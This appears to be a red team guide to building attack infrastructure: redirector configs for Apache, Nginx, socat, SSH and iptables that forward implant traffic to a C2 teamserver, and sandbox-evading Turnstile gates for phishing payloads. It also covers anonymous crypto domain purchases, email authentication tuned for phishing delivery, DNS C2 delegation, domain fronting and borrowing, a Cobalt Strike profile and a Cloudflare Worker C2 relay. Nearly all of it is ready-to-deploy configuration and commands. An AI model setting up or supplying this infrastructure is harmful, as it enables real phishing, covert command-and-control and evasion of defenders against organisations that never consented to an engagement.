Red team infrastructure setup. Redirectors, domain fronting, C2 over CDN, SSL certificates, aged domains, and infrastructure-as-code with Terraform.
Red team infrastructure is layered so that burning one component does not compromise the entire operation. Each tier serves a different operational purpose and has its own lifecycle.
| Tier | Purpose | Lifetime | Example |
|---|---|---|---|
| Short-haul | Phishing, initial callbacks | Hours to days | GoPhish + Evilginx |
| Long-haul | Persistent C2 | Weeks to months | Cobalt Strike + HTTPS redirectors |
| Interactive | Post-exploit ops | Per session | SSH tunnels + SOCKS proxies |
| Principle | What it means | What happens without it |
|---|---|---|
| Attribution resistance | Each layer uses different VPS, provider, domain, payment method. Defender sees only the redirector IP. | C2 teamserver IP exposed on first detection. Entire op burned. |
| Burn resilience | Redirector blocked? Spin a new one, update DNS. C2 server + sessions untouched. | Losing one server = losing all implants and data. |
| Traffic separation | Phishing infra (noisy, gets flagged fast) is completely separate from long-haul C2. | One phishing detection cascades to C2 infrastructure. Game over. |
| Provider diversity | Different cloud providers per tier (e.g., AWS for redirectors, Azure for C2, GCP for phishing). | Single provider takedown or subpoena kills everything. |
| Credential isolation | Each tier has separate admin credentials, SSH keys, API tokens. No shared secrets. | Compromised redirector creds give access to C2 server. |
| Logging separation | Each tier logs to different locations. C2 server logs never touch redirectors. | Forensics on a seized redirector reveals C2 server activity. |
Rule of thumb: If a defender seizes any single component, they should learn nothing about the rest of the infrastructure. Every piece is disposable and independently replaceable.
Cost of flat infrastructure: In a non-layered setup, the implant beacons directly to the C2 server's real IP. Blue team sees the IP in network logs, submits it to threat intel, and within hours your entire operation is attributed and blocked. Rebuilding means re-compromising every target.
Real-world example: A redirector running Apache mod_rewrite on a $5/month VPS inspects User-Agent, URI, and source IP. Only traffic matching the C2 malleable profile gets forwarded. Everything else gets a 302 redirect to microsoft.com. If the redirector is burned, you change one DNS A record and the C2 server never moves.
The operator never connects directly to the C2 server from their real IP. All management traffic goes through a VPN and/or SSH jump host. The target only ever sees the redirector IP, which can be replaced without disruption.
Turnstile is a free CAPTCHA alternative by Cloudflare. For red team, it gates phishing pages and payload delivery behind human verification - automated sandbox scanners, IR bots, and threat intel crawlers fail the challenge and never see the actual payload.
<!-- Phishing page with Turnstile gate -->
<!-- 1. Add Turnstile widget to your landing page -->
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script>
<form id="gate" method="POST" action="/payload">
<!-- Invisible mode: user doesn't see anything, just passes through -->
<div class="cf-turnstile" data-sitekey="YOUR_SITE_KEY"
data-callback="onSuccess" data-theme="dark"></div>
</form>
<script>
function onSuccess(token) {
// Token validated -> redirect to real payload
document.getElementById('gate').submit();
}
</script>
# Server-side token verification (Flask example)
import requests
@app.route('/payload', methods=['POST'])
def serve_payload():
token = request.form.get('cf-turnstile-response')
# Verify with Cloudflare
r = requests.post('https://challenges.cloudflare.com/turnstile/v0/siteverify', data={
'secret': 'YOUR_SECRET_KEY',
'response': token,
'remoteip': request.remote_addr
})
if r.json().get('success'):
return send_file('legit_document.docx') # real payload
return redirect('https://microsoft.com') # sandbox/bot -> redirect away
| Strategy | Implementation | Blocks | Limitation |
|---|---|---|---|
| Turnstile/CAPTCHA | Cloudflare Turnstile, hCaptcha, reCAPTCHA | Automated scanners, sandbox bots, crawlers | Adds friction for target, some sandboxes solve CAPTCHAs |
| Geofencing | Nginx GeoIP or Cloudflare Access Rules | Analysts outside target country | Target may use VPN, remote workers |
| Time window | Cron job / serverless TTL | Late analysis (IR team investigates days later) | Misses targets outside the window |
| User-Agent filter | Apache mod_rewrite / Nginx | Known sandbox UA strings (wget, curl, python-requests) | Easy to spoof |
| Source IP filter | iptables / Cloudflare WAF | Known security vendor IP ranges (VirusTotal, Any.Run, Hybrid Analysis) | IP lists change, residential proxies bypass |
| JavaScript check | JS redirect + DOM fingerprint | Headless browsers without full JS engine | Modern sandboxes have full browser emulation |
| Click tracking | Unique URL per target (GoPhish) | Replay attacks on shared links | Doesn't block, just tracks |
| Evilginx Turnstile | Turnstile on Evilginx proxy | Bots hitting the phishing reverse proxy | May interfere with transparent proxying |
Best practice: stack multiple gates. A scanner must pass ALL of them to reach the payload.
# Apache: GeoIP + User-Agent + Turnstile
# .htaccess on payload server
# Block non-target countries
RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|DE|GB|US)$
RewriteRule .* https://microsoft.com [R=302,L]
# Block known sandbox User-Agents
RewriteCond %{HTTP_USER_AGENT} (bot|crawl|spider|scan|curl|wget|python) [NC]
RewriteRule .* https://microsoft.com [R=302,L]
# Block known security vendor IP ranges
RewriteCond %{REMOTE_ADDR} ^(35\.190\.|34\.98\.) [OR]
RewriteCond %{REMOTE_ADDR} ^(20\.190\.|13\.64\.)
RewriteRule .* https://microsoft.com [R=302,L]
# Everything else -> Turnstile landing page -> payload
RewriteRule ^payload$ /turnstile-gate.html [L]
# Evilginx + Turnstile combo
# 1. Deploy Evilginx with O365 phishlet
# 2. Put Cloudflare proxy (orange cloud) in front
# 3. Enable Turnstile on the Cloudflare dashboard
# 4. Bot Protection: set Security Level to "I'm Under Attack" for the phishing domain
# 5. Only humans pass through to Evilginx
# Result: VirusTotal, urlscan.io, Any.Run all see the Turnstile challenge page, never the phish
Apache mod_rewrite is the most common redirector technique. The .htaccess rules inspect incoming requests and forward only those matching the C2 malleable profile - everything else gets redirected to a legitimate site to look benign to scanners and IR teams.
# /var/www/html/.htaccess
# Redirect C2 traffic matching Cobalt Strike malleable profile URIs
# Block known sandbox/scanner user agents
# Forward everything else to a legitimate decoy site
RewriteEngine On
# --- Block known sandboxes, scanners, and security vendors ---
RewriteCond %{HTTP_USER_AGENT} ^.*(curl|wget|python|httpie|scanner|nmap|nikto|sqlmap|masscan|zgrab|censys|shodan).*$ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
# Block known threat intel IP ranges (example: VirusTotal, AnyRun)
RewriteCond %{REMOTE_ADDR} ^74\.125\. [OR]
RewriteCond %{REMOTE_ADDR} ^13\.107\. [OR]
RewriteCond %{REMOTE_ADDR} ^20\.36\.
RewriteRule ^.*$ https://www.microsoft.com/en-us? [L,R=302]
# --- Match Cobalt Strike malleable C2 profile URIs ---
# Adjust these URIs to match your malleable profile exactly
RewriteCond %{REQUEST_URI} ^/(api/v1/updates|api/v1/status|news/latest)$
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0.*Windows\ NT.*$ [NC]
RewriteRule ^.*$ http://TEAMSERVER-IP:%{SERVER_PORT}%{REQUEST_URI} [P,L]
# --- Match stager URIs ---
RewriteCond %{REQUEST_URI} ^/(jquery-3\.6\.1\.min\.js|assets/css/style\.css)$
RewriteRule ^.*$ http://TEAMSERVER-IP:%{SERVER_PORT}%{REQUEST_URI} [P,L]
# --- Everything else: redirect to legitimate site ---
RewriteRule ^.*$ https://www.microsoft.com/en-us? [L,R=302]
Enable required Apache modules:
sudo a2enmod rewrite proxy proxy_http ssl headers
sudo systemctl restart apache2
Nginx as a C2 redirector with URI and user-agent filtering. Non-matching traffic returns a generic page or proxies to a legitimate site.
# /etc/nginx/sites-available/redirector
server {
listen 443 ssl;
server_name cdn-assets.example.com;
ssl_certificate /etc/letsencrypt/live/cdn-assets.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn-assets.example.com/privkey.pem;
# Block empty or suspicious user agents
if ($http_user_agent ~* "(curl|wget|python|scanner|nikto|sqlmap)") {
return 302 https://www.microsoft.com;
}
if ($http_user_agent = "") {
return 302 https://www.microsoft.com;
}
# Forward matching C2 URIs to teamserver
location ~ ^/(api/v1/updates|api/v1/status|news/latest)$ {
proxy_pass https://C2-SERVER-IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Real-IP $remote_addr;
}
# Everything else - serve decoy or redirect
location / {
return 302 https://www.microsoft.com;
}
}
sudo ln -s /etc/nginx/sites-available/redirector /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
Quick TCP/UDP port forwarding. Useful for fast redirector standup, testing, or when you can't install Apache/Nginx.
# === Basic TCP redirect (HTTPS C2) ===
socat TCP4-LISTEN:443,reuseaddr,fork TCP4:C2-SERVER-IP:443 &
# === With source IP logging ===
socat -v TCP4-LISTEN:443,reuseaddr,fork TCP4:C2-SERVER-IP:443 2>>redirector.log &
# === UDP redirector (DNS C2) ===
socat UDP4-LISTEN:53,reuseaddr,fork UDP4:C2-SERVER-IP:53 &
# === TLS-wrapped redirect (encrypt redirector <-> C2 link) ===
# Generate self-signed cert first:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=redirect"
# Listen TLS on 443, forward plain TCP to C2
socat OPENSSL-LISTEN:443,reuseaddr,fork,cert=cert.pem,key=key.pem,verify=0 \
TCP4:C2-SERVER-IP:8080 &
# === Bind to specific interface ===
socat TCP4-LISTEN:443,reuseaddr,fork,bind=10.0.0.1 TCP4:C2-SERVER-IP:443 &
# === Rate limiting (1 connection per second) ===
# Use with cron or wrapper script for production
socat TCP4-LISTEN:443,reuseaddr,fork,max-children=5 TCP4:C2-SERVER-IP:443 &
# === Run as systemd service (persistent across reboot) ===
# /etc/systemd/system/redirector.service
# [Service]
# Type=simple
# ExecStart=/usr/bin/socat TCP4-LISTEN:443,reuseaddr,fork TCP4:C2-SERVER-IP:443
# Restart=always
# RestartSec=5
# [Install]
# WantedBy=multi-user.target
sudo systemctl enable --now redirector
Socat limitations: No request inspection (forwards everything blindly), no User-Agent filtering, no URI filtering. For smart filtering, use Apache mod_rewrite or Nginx. Socat is best for quick standup or non-HTTP protocols.
SSH tunnels create encrypted channels. All traffic between redirector and C2 is encrypted inside SSH. autossh keeps tunnels persistent.
# === Local port forward ===
# Redirector listens on :443, forwards to C2:443 through SSH
ssh -N -L 0.0.0.0:443:C2-SERVER-IP:443 user@C2-SERVER-IP
# === Remote port forward ===
# C2 server initiates connection to redirector (useful when C2 is behind NAT)
ssh -N -R 0.0.0.0:443:localhost:443 user@REDIRECTOR-IP
# === Dynamic SOCKS proxy ===
# All traffic routed through SOCKS on redirector
ssh -N -D 0.0.0.0:1080 user@REDIRECTOR-IP
# === Persistent tunnel with autossh ===
# Restarts on failure, sends keepalives every 30s
sudo apt install autossh -y
autossh -M 0 -f -N \
-o "ServerAliveInterval 30" \
-o "ServerAliveCountMax 3" \
-o "ExitOnForwardFailure yes" \
-L 0.0.0.0:443:C2-SERVER-IP:443 user@C2-SERVER-IP
# === SSH config for OPSEC (no host key prompt, no logging) ===
# ~/.ssh/config on redirector
# Host c2
# HostName C2-SERVER-IP
# User operator
# IdentityFile ~/.ssh/c2_key
# StrictHostKeyChecking no
# UserKnownHostsFile /dev/null
# LogLevel ERROR
# === Multi-hop tunnel (Redirector -> Jump -> C2) ===
ssh -N -L 0.0.0.0:443:C2-IP:443 \
-J jumpuser@JUMP-IP:22 user@C2-IP
# === Reverse SSH tunnel as service (C2 calls home to redirector) ===
# On C2 server: creates persistent tunnel to redirector
autossh -M 0 -f -N \
-o "ServerAliveInterval 30" \
-R 0.0.0.0:443:localhost:443 user@REDIRECTOR-IP
SSH vs socat: SSH encrypts the tunnel and supports key-based auth. Socat is simpler but sends traffic in clear (unless you add TLS). Use SSH for production, socat for quick tests.
Kernel-level port forwarding - no userspace process needed. Fastest option but no traffic inspection.
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
# Forward all 443 traffic to C2 server
iptables -t nat -A PREROUTING -p tcp --dport 443 \
-j DNAT --to-destination C2-SERVER-IP:443
iptables -t nat -A POSTROUTING -j MASQUERADE
# Only forward traffic from specific geo/IP range (e.g., target country)
iptables -t nat -A PREROUTING -p tcp --dport 443 \
-m geoip --src-cc US \
-j DNAT --to-destination C2-SERVER-IP:443
# Drop everything else on 443
iptables -A INPUT -p tcp --dport 443 -j DROP
# Forward DNS (UDP 53) to C2 for DNS-based C2
iptables -t nat -A PREROUTING -p udp --dport 53 \
-j DNAT --to-destination C2-SERVER-IP:53
iptables -t nat -A POSTROUTING -p udp -d C2-SERVER-IP --dport 53 \
-j MASQUERADE
# Save rules persistently
iptables-save > /etc/iptables/rules.v4
Install geoip module for country-based filtering:
sudo apt install xtables-addons-common libtext-csv-xs-perl -y
sudo /usr/lib/xtables-addons/xt_geoip_dl
sudo /usr/lib/xtables-addons/xt_geoip_build
Aged domains (1+ years old with clean history) bypass reputation-based filtering that flags newly registered domains. Many proxies, firewalls, and email gateways score domain age as a trust signal.
Where to find them:
| Source | URL | Notes |
|---|---|---|
| ExpiredDomains.net | expireddomains.net | Best free resource, filter by age/backlinks |
| NameJet | namejet.com | Auction for premium expiring domains |
| GoDaddy Auctions | auctions.godaddy.com | Large selection, easy transfer |
| SnapNames | snapnames.com | Backorder expiring domains |
| Dynadot | dynadot.com/market | Marketplace with aged inventory |
Vetting checklist before purchase:
# Check domain age and history
whois example.com | grep -i "creation date"
# Check web archive for previous content (avoid domains with malware/spam history)
# Visit: https://web.archive.org/web/*/example.com
# Check categorization across vendors
# Bluecoat: https://sitereview.bluecoat.com/
# McAfee: https://www.trustedsource.org/
# Fortiguard: https://www.fortiguard.com/webfilter
# Palo Alto: https://urlfiltering.paloaltonetworks.com/
# Bright Cloud: https://www.brightcloud.com/tools/url-ip-lookup.php
# Check if domain is blacklisted
# MXToolbox: https://mxtoolbox.com/blacklists.aspx
# VirusTotal: https://www.virustotal.com/gui/domain/example.com
Anonymous domain purchase (crypto):
| Registrar | Crypto accepted | Privacy | Notes |
|---|---|---|---|
| Njalla | BTC, XMR, LTC, ETH | Full privacy, acts as domain owner for you | Best OPSEC - they own the domain on your behalf |
| Orangewebsite | BTC | Iceland, strong privacy laws | Free speech focused |
| 1984.is | BTC | Iceland | Privacy-respecting |
| Epik | BTC | WHOIS privacy included | Large selection |
| Porkbun | BTC (via BitPay) | Free WHOIS privacy | Cheap, good UI |
Njalla is the gold standard for anonymous domain registration. Unlike regular registrars, Njalla registers the domain in THEIR name and lets you use it. Your real identity never appears anywhere - not in WHOIS, not in registrar records, not in payment logs (pay with Monero for maximum privacy).
Recategorization - After purchase, host a legitimate-looking site (clone a business page) for 1-2 weeks, then submit for recategorization at each vendor listed above. Target categories: "Business", "Technology", "News/Media".
# Let's Encrypt - free, automated, trusted by everything
sudo apt install certbot -y
# Standalone mode (no web server running)
sudo certbot certonly --standalone -d c2.example.com
# Webroot mode (web server already running)
sudo certbot certonly --webroot -w /var/www/html -d c2.example.com
# Auto-renewal cron
echo "0 0 1 * * root certbot renew --quiet" >> /etc/crontab
# Wildcard certificate via DNS challenge
sudo certbot certonly --manual --preferred-challenges dns \
-d "*.example.com" -d example.com
Cloudflare origin certificate (15-year validity, only valid behind Cloudflare proxy):
# Generate via Cloudflare dashboard:
# SSL/TLS -> Origin Server -> Create Certificate
# Download .pem and .key files
# Install on your server
sudo cp origin-cert.pem /etc/ssl/certs/
sudo cp origin-key.key /etc/ssl/private/
sudo chmod 600 /etc/ssl/private/origin-key.key
Self-signed for internal/testing:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem \
-sha256 -days 365 -nodes \
-subj "/C=US/ST=California/L=SanFrancisco/O=Contoso/CN=internal.local"
Monitor certificate transparency logs to detect if defenders are watching your domains:
# Query crt.sh for all certificates issued for your domain
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | sort -u
| Record | Use Case | When to Use | Example |
|---|---|---|---|
| A | Redirector direct IP | Redirector at a specific VPS IP. Use for HTTPS redirectors, mail servers, any host needing a fixed IP. | cdn-assets.example.com -> 203.0.113.10 |
| CNAME | Alias to another hostname | Multiple subdomains pointing at the same redirector without duplicating A records. Cannot be used on zone apex (bare domain). Useful for CDN/Cloudflare setups. | static.example.com -> cdn-assets.example.com |
| MX | Phishing mail delivery | Required for GoPhish/SMTP infra. Points to the mail server handling email for the domain. Set priority (lower = preferred). | example.com MX 10 mail.example.com |
| TXT (SPF) | Email sender authorization | Tells receiving servers which IPs can send mail for your domain. Without it, phishing emails land in spam. | v=spf1 ip4:203.0.113.10 -all |
| TXT (DKIM) | Email cryptographic signing | DKIM public key so recipients verify emails were signed by your domain. Dramatically improves inbox delivery. | selector._domainkey TXT "v=DKIM1; k=rsa; p=MIG..." |
| TXT (DMARC) | Email policy enforcement | Tells receivers what to do with mail that fails SPF/DKIM. p=none for testing, p=quarantine for production phishing. |
_dmarc TXT "v=DMARC1; p=none; rua=..." |
| NS | DNS C2 (authoritative nameserver) | Delegate a subdomain to your C2 server so all DNS queries for *.c2sub.example.com go directly to your server. Required for DNS-based C2 (Cobalt Strike DNS, Sliver DNS, iodine). |
c2sub.example.com NS ns1.example.com |
A record vs CNAME for redirectors: Use an A record when the redirector is a VPS with a static IP. Use CNAME when the redirector sits behind a CDN (Cloudflare, Azure CDN) and you want additional subdomains to resolve through the same CDN edge. CNAMEs cannot exist at the zone apex (example.com itself), only on subdomains. If you need the bare domain, use an A record (or Cloudflare's CNAME flattening).
Without proper email authentication records, phishing emails are flagged as spam by Gmail, O365, and most enterprise gateways. Setting up all three is non-negotiable for credible phishing.
# === SPF Record ===
# Allow only your mail server IP to send, hard-fail everything else
# Add as TXT record on the bare domain
# v=spf1 ip4:MAIL-SERVER-IP -all
#
# If using a third-party sender (e.g., Mailgun):
# v=spf1 ip4:MAIL-SERVER-IP include:mailgun.org -all
# === DKIM Setup (with OpenDKIM on the GoPhish mail server) ===
sudo apt install opendkim opendkim-tools -y
# Generate DKIM keypair
sudo mkdir -p /etc/opendkim/keys/example.com
sudo opendkim-genkey -b 2048 -d example.com -D /etc/opendkim/keys/example.com -s gophish -v
sudo chown -R opendkim:opendkim /etc/opendkim
# The public key to add as a DNS TXT record:
cat /etc/opendkim/keys/example.com/gophish.txt
# Add this as TXT record: gophish._domainkey.example.com
# /etc/opendkim.conf
# Domain example.com
# KeyFile /etc/opendkim/keys/example.com/gophish.private
# Selector gophish
# Socket inet:8891@localhost
# === DMARC Record ===
# Add as TXT on _dmarc.example.com
# Start permissive (p=none) to monitor, tighten later
# v=DMARC1; p=none; rua=mailto:[email protected]; fo=1
# For production phishing: v=DMARC1; p=quarantine; pct=100
DNS C2 requires your C2 server to be the authoritative nameserver for a subdomain. When the implant queries <encoded-data>.c2sub.example.com, the DNS resolver chain eventually reaches your server, which decodes the query and responds with C2 instructions encoded in DNS responses (TXT, A, AAAA, CNAME records).
# At your registrar or DNS provider, create:
# 1. A record for your nameserver: ns1.example.com -> C2-SERVER-IP
# 2. NS delegation: c2sub.example.com NS ns1.example.com
#
# Now ALL DNS queries for *.c2sub.example.com go to your C2 server.
# The C2 framework (Cobalt Strike, Sliver) listens on UDP 53 and handles them.
# Verify delegation works:
dig NS c2sub.example.com +short
# Should return: ns1.example.com
dig A test.c2sub.example.com @ns1.example.com
# Should reach your C2 server
Set TTL to the minimum (1 second on Cloudflare, 60-300 seconds elsewhere). Low TTL means DNS changes propagate fast, so you can rotate redirector IPs within minutes when one gets burned. The tradeoff: more frequent DNS lookups from implants, which can be a detection signal if blue team monitors DNS query volume.
| Scenario | TTL | Reasoning |
|---|---|---|
| Active operation, expecting burns | 60-300s | Fast IP rotation when redirector is blocked |
| Stable long-haul C2 | 3600s+ | Fewer DNS queries, lower detection signature |
| Pre-operation staging | 300s | Ready to change quickly during setup |
| Phishing campaign launch | 60s | Rapid redirect if domain is flagged |
Split-horizon (split-brain) DNS returns different answers depending on who is asking. Useful when your C2 server and redirectors are on the same private network (VPC): internal queries resolve to private IPs, external queries resolve to public IPs.
# Example with BIND9 split-horizon
# Internal view (VPC traffic) -> private IPs
# External view (internet) -> public redirector IPs
#
# /etc/bind/named.conf
# view "internal" {
# match-clients { 10.10.10.0/24; };
# zone "example.com" {
# type master;
# file "/etc/bind/zones/internal.example.com";
# };
# };
# view "external" {
# match-clients { any; };
# zone "example.com" {
# type master;
# file "/etc/bind/zones/external.example.com";
# };
# };
#
# Practical use: redirector resolves C2 hostname to 10.10.10.5 (private),
# while implants on the internet resolve it to the public redirector IP.
; Zone file for example.com - Red team engagement
; TTL kept low for rapid rotation
$TTL 300
; SOA record
@ IN SOA ns1.example.com. admin.example.com. (
2026040501 ; serial
3600 ; refresh
900 ; retry
604800 ; expire
300 ; minimum TTL
)
; Nameservers (NS1 is the C2 server for DNS C2)
@ IN NS ns1.example.com.
@ IN NS ns2.example.com.
; A records - nameserver glue records
ns1 IN A C2-SERVER-IP
ns2 IN A BACKUP-IP
; A records - redirectors
cdn-assets IN A REDIRECTOR1-IP
www IN A REDIRECTOR2-IP
; CNAME - aliases to primary redirector
static IN CNAME cdn-assets.example.com.
update IN CNAME cdn-assets.example.com.
; MX - phishing mail server
@ IN MX 10 mail.example.com.
mail IN A MAIL-SERVER-IP
; SPF - authorize mail server
@ IN TXT "v=spf1 ip4:MAIL-SERVER-IP -all"
; DKIM - email signing public key
gophish._domainkey IN TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqG..."
; DMARC - email policy
_dmarc IN TXT "v=DMARC1; p=none; rua=mailto:[email protected]; fo=1"
; NS delegation for DNS C2 subdomain
; All queries to *.c2sub.example.com go to ns1 (C2 server)
c2sub IN NS ns1.example.com.
# Using Cloudflare API (replace with your zone ID and API token)
ZONE_ID="your_zone_id"
API_TOKEN="your_api_token"
CF_API="https://api.cloudflare.com/client/v4/zones/${ZONE_ID}/dns_records"
# A record - redirector pointing to VPS
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "A",
"name": "cdn-assets",
"content": "REDIRECTOR-IP",
"proxied": true,
"ttl": 1
}'
# CNAME for alternate redirector entry point
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "CNAME",
"name": "static",
"content": "cdn-assets.example.com",
"proxied": true,
"ttl": 1
}'
# MX record for phishing (mail delivery)
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "MX",
"name": "example.com",
"content": "mail.example.com",
"priority": 10,
"ttl": 1
}'
# SPF record
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "TXT",
"name": "example.com",
"content": "v=spf1 ip4:MAIL-SERVER-IP -all",
"ttl": 1
}'
# DKIM record
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "TXT",
"name": "gophish._domainkey",
"content": "v=DKIM1; k=rsa; p=YOUR_DKIM_PUBLIC_KEY",
"ttl": 1
}'
# DMARC record
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "TXT",
"name": "_dmarc",
"content": "v=DMARC1; p=none; rua=mailto:[email protected]; fo=1",
"ttl": 1
}'
# NS delegation for DNS C2 subdomain
curl -X POST "$CF_API" \
-H "Authorization: Bearer ${API_TOKEN}" \
-H "Content-Type: application/json" \
--data '{
"type": "NS",
"name": "c2sub",
"content": "ns1.example.com",
"ttl": 1
}'
DNS over HTTPS for C2 - route DNS-based C2 through DoH to evade DNS inspection:
# Use cloudflared as local DoH proxy
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared
# Run as DNS proxy (listens on 127.0.0.1:5053, forwards to Cloudflare DoH)
cloudflared proxy-dns --port 5053 --upstream https://1.1.1.1/dns-query &
# Point system DNS at local proxy
echo "nameserver 127.0.0.1" > /etc/resolv.conf
Domain fronting exploits the difference between the SNI field (visible in TLS handshake, shows the CDN's shared domain) and the Host header (inside the encrypted HTTP request, shows the actual destination). Network monitors see traffic going to a legitimate CDN domain, but the CDN routes it to your C2 based on the Host header.
legitimate-site.azureedge.net. The SNI field in the ClientHello is set to this legitimate domain. This is what the firewall, proxy, and DPI engine see in plaintext.Host: malicious-c2.azureedge.net. The firewall cannot see this header.malicious-c2.azureedge.net, which is your C2 server.[Implant] --TLS SNI: "legitimate-site.azureedge.net"--> [Firewall: PASS] --> [CDN Edge]
|
HTTP Host: "malicious-c2.azureedge.net" (encrypted, invisible to FW) |
v
[Implant] <--------- C2 response (encrypted) <--------- [CDN Edge] <--- [C2 Server]
Why it works: CDN edge servers multiplex thousands of domains on shared IP addresses. The CDN must inspect the Host header to route traffic, not the SNI. This mismatch is the core of the technique.
Why it gets blocked: CDN providers now validate that SNI matches Host. If they differ, the request is rejected (Cloudflare, AWS, Google). Azure and Fastly have inconsistent enforcement.
| CDN | Domain Fronting | Alternatives | Notes |
|---|---|---|---|
| Cloudflare | Blocked | Cloudflare Workers as relay (see below) | Validates Host == SNI since 2018. Workers are the primary alternative. |
| AWS CloudFront | Blocked | Lambda@Edge relay, API Gateway proxy | Disabled April 2018. Use Lambda@Edge to proxy traffic through CloudFront distributions. API Gateway + custom domain is another path. |
| Azure CDN | Partially possible | Azure Functions relay | Standard_Microsoft and Standard_Verizon profiles still allow some mismatched Host headers. Test with curl --resolve before relying on it. Azure Front Door has stricter enforcement. |
| Google Cloud CDN | Blocked | GCP Cloud Functions relay | Disabled since 2018. Cloud Functions behind a custom domain achieves similar traffic blending. |
| Fastly | Limited | Fastly Compute@Edge | Shared TLS certificates on some plans still allow fronting. Shared certs are being deprecated. Compute@Edge serverless is the forward path. |
| Alibaba CDN | Possible | Direct use | Less enforcement as of early 2026. Test per region, enforcement varies. Not reliable for long-term ops. |
| Akamai | Blocked | Edge Workers | Validates SNI/Host match. Edge Workers can relay similar to Cloudflare Workers. |
These are different techniques often confused:
| Aspect | Domain Fronting | Domain Borrowing |
|---|---|---|
| Mechanism | SNI/Host header mismatch on same CDN | Abuse a legitimate domain's existing CDN configuration |
| Requirement | Your own CDN-hosted domain + a legitimate domain on the same CDN | Access to a subdomain or abandoned CNAME of a legitimate org |
| SNI field | Legitimate domain (not yours) | The borrowed domain itself |
| Host header | Your C2 domain | Your C2 domain (via CNAME takeover or shared config) |
| Detection | Blocked by SNI/Host validation | Harder to detect since the domain itself is legitimate |
| Example | SNI=microsoft.com, Host=evil.azureedge.net | Dangling CNAME on cdn.targetcorp.com -> your CDN endpoint |
| 2026 viability | Mostly dead | Still viable where dangling CNAMEs exist |
Domain borrowing typically exploits dangling DNS records. If cdn.targetcorp.com has a CNAME pointing to targetcorp.azureedge.net but that Azure CDN profile was deleted, you can claim that Azure CDN hostname and serve your C2 content through cdn.targetcorp.com - a domain belonging to a legitimate organization.
# Cobalt Strike malleable C2 profile - CDN fronting via Azure CDN
# The Host header is what the CDN uses for routing
# The SNI/connection target is the legitimate CDN domain
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
https-certificate {
set CN "*.azureedge.net";
set O "Microsoft Corporation";
set C "US";
set validity "365";
}
http-get {
set uri "/api/v2/updates /api/v2/telemetry /cdn/scripts/analytics.js";
client {
header "Host" "your-c2-profile.azureedge.net";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Encoding" "gzip, deflate, br";
header "Connection" "keep-alive";
metadata {
base64url;
parameter "session";
}
}
server {
header "Content-Type" "application/javascript";
header "Cache-Control" "max-age=3600";
header "X-Azure-Ref" "0abc123def456";
output {
base64;
prepend "var analytics = {\"data\":\"";
append "\"}; void(0);";
print;
}
}
}
http-post {
set uri "/api/v2/submit /api/v2/report";
client {
header "Host" "your-c2-profile.azureedge.net";
header "Content-Type" "application/json";
id {
base64url;
parameter "id";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
prepend "{\"status\":\"ok\",\"data\":\"";
append "\"}";
print;
}
}
}
Key points for CDN malleable profiles: The Host header in client blocks must match your CDN-hosted domain, not the fronted domain. The implant connects to the fronted (legitimate) domain's IP, but the CDN reads Host to route to your backend. Ensure URIs look like legitimate API calls, and response bodies mimic real content (JS files, JSON APIs).
Alternative: Cloudflare Workers as C2 relay - instead of true domain fronting, use a Worker (serverless function on Cloudflare's edge) to proxy C2 traffic. Traffic appears as normal HTTPS to your-worker.workers.dev or a custom domain. This is the most reliable CDN-based C2 method in 2026 since it does not depend on SNI/Host mismatches.
// Cloudflare Worker - C2 traffic relay
// Deploy: wrangler publish
// All traffic to this worker gets proxied to the real C2
const C2_SERVER = "https://c2.your-real-server.com";
export default {
async fetch(request) {
// Clone the request and forward to real C2
const url = new URL(request.url);
const c2Url = C2_SERVER + url.pathname + url.search;
// Build new request preserving method, headers, body
const modifiedRequest = new Request(c2Url, {
method: request.method,
headers: request.headers,
body: request.body,
redirect: "follow",
});
// Add custom header so C2 can identify proxied traffic
modifiedRequest.headers.set("X-Forwarded-Host", url.hostname);
modifiedRequest.headers.set("X-Real-IP",
request.headers.get("CF-Connecting-IP") || "unknown");
try {
const response = await fetch(modifiedRequest);
// Return C2 response to implant, strip server headers
const modifiedResponse = new Response(response.body, {
status: response.status,
headers: response.headers,
});
modifiedResponse.headers.set("Server", "cloudflare");
modifiedResponse.headers.delete("X-Powered-By");
return modifiedResponse;
} catch (err) {
// Return benign page on error
return new Response("Service Unavailable", { status: 503 });
}
},
};
Worker deployment:
# Install wrangler CLI
npm install -g wrangler
# Login to Cloudflare
wrangler login
# Create project
npm create cloudflare@latest c2-relay -- --type=hello-world
# Edit src/index.js with the code above
# Deploy
cd c2-relay && wrangler deploy
# Custom domain (optional - looks more legitimate)
